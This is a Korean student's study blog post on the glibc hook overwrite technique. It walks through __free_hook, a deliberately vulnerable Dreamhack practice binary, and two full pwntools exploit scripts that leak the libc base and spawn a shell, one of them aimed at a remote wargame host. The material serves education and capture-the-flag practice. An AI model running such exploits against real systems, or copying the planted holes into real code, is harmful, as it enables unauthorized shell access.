[Pwnable] 12. Exploit Tech: Hook Overwrite

Wonder_Land🛕·2022년 10월 31일
0

[Pwnable]

목록 보기
12/21
post-thumbnail

[Reference] : 위 글은 다음 내용을 제가 공부한 후, 인용∙참고∙정리하여 만들어진 게시글입니다.


  1. 서론
  2. 메모리 함수 훅
  3. Free Hook Overwrite
  4. +ɑ, one_gadget
  5. Q&A
  6. 마치며

1. 서론

'Hook'에는 '갈고리'라는 뜻이 있습니다.

컴퓨터 과학에서는 운영체제가 어떤 코드를 실행하려고 할 때,
이를 낚아채어 다른 코드가 실행되게 하는 것을 'Hooking(후킹)'이라고 하며,
이 때 실행되는 코드를 'Hook(훅)'이라고 합니다.

후킹은 굉장히 다양한 용도로 사용됩니다.
함수에 훅을 심어서 함수의 호출을 모니터링 하거나, 함ㅅ에 기능을 추가하거나, 아예 다른 코드를 심어서 실행 흐름을 변조할 수도 있습니다.

예를 들어, mallocfree에 훅을 설치하면 소프트웨어에서 할당하고, 해제하는 메모리를 모니터링할 수 있습니다.

이를 더욱 응용한다면, 모든 함수의 도입 부분에 훅을 설치한다면, 소프트웨어가 실행 중에 호출하는 함수를 모두 추적(Tracing)할 수 있습니다.

이러한 모니터링 기능은 해커에 의해 악용될 수 있습니다.
해커가 키보드의 키 입력과 관련된 함수에 훅을 설치하면,
사용자가 입력하는 키를 모니터링하여 자신의 컴퓨터로 전송하는 것도 가능하죠.

Hook Overwrite는 이러한 훅의 특징을 이용한 공격 기법입니다.

mallocfree에 후킹하여 각 함수가 호출될 때, 공격자가 작성한 악의적인 코드가 실행되게끔 하는 기법입니다.

Full RELRO가 적용되더라도 libc의 데이터 영역에는 쓰기가 가능하므로, Full RELRO를 우회하는 기법으로 활용될 수 있습니다.


2. 메모리 함수 훅

1) malloc, free realloc hook

C언어에는 메모리 동적 할당과 해제를 담당하는 함수는 malloc, free, realloc이 대표적입니다.

각 함수는 libc.so에 구현되어 잇습니다.

libc에는 이 함수들의 디버깅 편의를 위해 훅 변수가 정의되어 있습니다.

예를 들어, malloc에는 __malloc_hook 변수의 값이 NULL인지 검사하고, 아니라면 malloc을 수행하기 전에 __malloc_hook이 가리키는 함수를 먼저 실행합니다.

이 때, malloc의 인자는 훅 함수에 전달됩니다.

같은 방식으로 free, realloc도 각각 __free_hook, __realloc_hook이라는 훅 변수를 사용합니다.

// __malloc_hook
void *__libc_malloc (size_t bytes)
{
  mstate ar_ptr;
  void *victim;
  void *(*hook) (size_t, const void *)
    = atomic_forced_read (__malloc_hook); // malloc hook read
  if (__builtin_expect (hook != NULL, 0))
    return (*hook)(bytes, RETURN_ADDRESS (0)); // call hook
#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes;
  checked_request2size (bytes, tbytes);
  size_t tc_idx = csize2tidx (tbytes);
  // ...
}

__malloc_hook, __free_hook, __realloc_hook은 관련된 함수들과 마찬가지로 libc.so에 정의되어 있습니다.

이 변수들의 오프셋은 각각 0x3ed8e8, 0x3ebc30, 0x3ebc28인데, 섹션 헤더 정보를 참조하면 libc.sobss 섹션에 포함됨을 알 수 있습니다.
bss 섹션은 쓰기가 가능하므로 이 변수들의 값은 조작될 수 있습니다.


2) Hook Overwrite

malloc, free, realloc에는 각각 대응되는 훅 변수가 존재하며,
훅 변수들은 libcbss 섹션에 위치하여 실행 중에 덮어쓰는 것이 가능합니다.

또한, 훅을 실행할 때는 기존 함수에 전달한 인자를 같이 전달해주므로,
__malloc_hooksystem함수의 주소로 덮고, malloc("/bin/sh")을 호출하여 셸을 획득하는 등의 공격이 가능합니다.

다음 예제는 훅을 덮는 공격이 가능함을 보이는 Poc(Proof-of-Concept)입니다.

컴파일하고 실행하면, __free_hooksystem함수로 덮고, free("/bin/sh")를 호출하자 셸을 획득함을 볼 수 있습니다.

// Name: fho-poc.c
// Compile: gcc -o fho-poc fho-poc.c

#include <malloc.h>
#include <stdlib.h>
#include <string.h>

const char *buf="/bin/sh";

int main() {
  printf("\"__free_hook\" now points at \"system\"\n");
  __free_hook = (void *)system;
  printf("call free(\"/bin/sh\")\n");
  free(buf);
}
$ ./fho
"__free_hook" now points at "system"
call free("/bin/sh")
$ echo "This is Hook Overwrite!"
This is Hook Overwrite!

Full RELRO가 적용된 바이너리에도 라이브러리의 훅에는 쓰기 권한이 남아있으므로 이런 공격을 고려할 수 있습니다.


3. Free Hook Overwrite

free함수의 훅을 덮어보겠습니다.

// Name: fho.c
// Compile: gcc -o fho fho.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
	char buf[0x30];
    unsigned long long *addr;
    unsigned long long value;

    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    
    puts("[1] Stack buffer overflow");
    printf("Buf: ");
    read(0, buf, 0x100);
    printf("Buf: %s\n", buf);
    
    puts("[2] Arbitrary-Address-Write");
    printf("To write: ");
    scanf("%llu", &addr);
    printf("With: ");
    scanf("%llu", &value);
    printf("[%p] = %llu\n", addr, value);
    *addr = value;
    
    puts("[3] Arbitrary-Address-Free");
    printf("To free: ");
    scanf("%llu", &addr);
    free(addr);
    
    return 0;
}

1) 분석

(1) 보호 기법

cheksec으로 해당 바이너리를 살펴보면,
지금까지 배운 모든 보호 기법이 사용되고 있습니다.

$ gcc -o fho fho.c
$ checksec fho
[*] '/home/hhro/dreamhack/fho'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

(2) 코드 분석

puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
  1. read 함수를 통해 스택 버퍼 오버플로우가 발생할 수 있습니다.
    하지만 알고 있는 정보가 없어 카나리를 덮을 수 없고,
    반환 주소도 유의미한 값으로 조작할 수 없습니다.
    스택에 있는 데이터를 읽는 데 사용할 수 있을 것입니다.
puts("[2] Arbitrary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
  1. 주소를 입력하고, 그 주소에 임의의 값을 쓸 수 있습니다.
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
  1. 주소를 입력하고, 그 주소의 메모리를 해제할 수 있습니다.

(3) 공격 수단

공격자는 다음 세 가지 수단(Primivive)을 이용하여 셸을 획득할 수 있습니다.

[1]. 스택의 어떤 값을 읽을 수 있다.
[2]. 임의 주소에 임의 값을 쓸 수 있다.
[3]. 임의 주소를 해제할 수 있다.


2) 설계

(1) 라이브러리의 변수 및 함수들의 주소 구하기

__free_hook, system함수, "/bin/sh" 문자열은 libc.so에 정의되어 있으므로,
매핑된 libc.so안의 주소를 구해야 이들의 주소를 구할 수 있습니다.

[1]을 이용하면, 스택의 값을 알 수 있는데,
스택에는 libc의 주소가 있을 가능성이 매우 큽니다.

특히, main함수는 __libc_start_main이라는 라이브러리 함수가 호출하므로,
main 함수에서 반환 주소를 읽으면, 그 주소를 기반으로 필요한 변수와 함수들의 주소를 계산할 수 있습니다.

$ gdb ./fho
pwndbg> start
pwndbg> main
pwndbg> bt
#0  0x00005555555548be in main ()
#1  0x00007ffff7a05b97 in __libc_start_main (main=0x5555555548ba <main>, argc=1, argv=0x7fffffffc338, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffc328) at ../csu/libc-start.c:310
#2  0x00005555555547da in _start ()

(2) 셸 획득

[2]에서 __free_hook의 값을 system함수의 주소로 덮어쓰고,
[3]에서 "/bin/sh"를 해제하게 하면 system("/bin/sh")가 호출되어 셸을 획득할 수 있습니다.


3) 익스플로잇

(1) 라이브러리의 변수 및 함수들의 주소 구하기

반환 주소를 읽어서 라이브러리의 변수 및 함수들의 주소를 구할 것입니다.

gdbmain함수의 반환 주소인 libc_start_main을 읽은 다음,
그 값에서 libc의 매핑 주소를 빼면, libc와 반환 주소의 오프셋을 구할 수 있습니다.

2가지 주소는 모두 libc와 함께 매핑되어 있는 주소이기 때문입니다.

익프슬로잇에서는 그 오프셋을 이용하여 libc의 매핑 주소를 계산할 수 있습니다.

(2) 셸 획득

구해낸 __free_hook, system함수, "/bin/sh"문자열의 주소를 이용하면 셸을 획득할 수 있습니다.

#!/usr/bin/python3
# Name: fho.py

from pwn import *

p = process("./fho")
e = ELF("./fho")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def slog(name, addr): return success(": ".join([name, hex(addr)]))

# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1]+b"\x00"*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 231)
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search("/bin/sh"))

slog("libc_base", libc_base)
slog("system", system)
slog("free_hook", free_hook)
slog("/bin/sh", binsh)

# [2] Overwrite `free_hook` with `system`
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(system))

# [3] Exploit
p.recvuntil("To free: ")
p.sendline(str(binsh))
p.interactive()

4. +ɑ, one_gadget

'one_gadget' 또는 'magic_gadget'은 실행하면 셸이 획득되는 코드 뭉치를 말합니다.

one_gadget을 활용하면 libc에서 손쉽게 one_gadget을 찾을 수 있습니다.

one_gadget은 libc 버전마다 다르게 존재하며, 제약 조건도 모두 다릅니다.

상황에 따라 맞는 가젯을 사용하거나, 제약 조건에 만족하도록 조작해줘야합니다.

one_gadget은 함수에 인자를 전달하기 어려울 때 유용하게 사용될 수 있습니다.

예를 들어, __malloc_hook을 덮을 수 있는데,
malloc을 호출할 때 인자를 검사해서 작은 정수밖에 입력할 수 없는 상황이라면,
"/bin/sh"를 인자로 전달하기가 매우 어렵습니다.

이럴 때 제약 조건을 만족하는 one_gadget이 존재한다면, 이를 호출해서 셸을 획득할 수 있습니다.

from pwn import *

def slog(n, m): return success(": ".join([n, hex(m)]))

#context.log_level = "debug"

p = remote("host3.dreamhack.games", 8588)
e = ELF("./fho")
l = ELF("./libc-2.27.so")

# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvn(0x6) + b"\x00\x00")
libc_base = libc_start_main_xx - 0x021bf7

free_hook = libc_base + l.sym["__free_hook"]
og = libc_base+0x4f432

slog("libc_base", libc_base)
slog("free_hook", free_hook)

# [2] Overwrite 'free_hook' with 'system'
p.sendlineafter("To write: ", str(free_hook))
p.sendlineafter("With: ", str(og))

# [3] Exploit
p.sendlineafter("To free: ", "0")

p.interactive()

6. 마치며

-

[Reference] : 위 글은 다음 내용을 제가 공부한 후, 인용∙참고∙정리하여 만들어진 게시글입니다.

profile
아무것도 모르는 컴공 학생의 Wonder_Land

0개의 댓글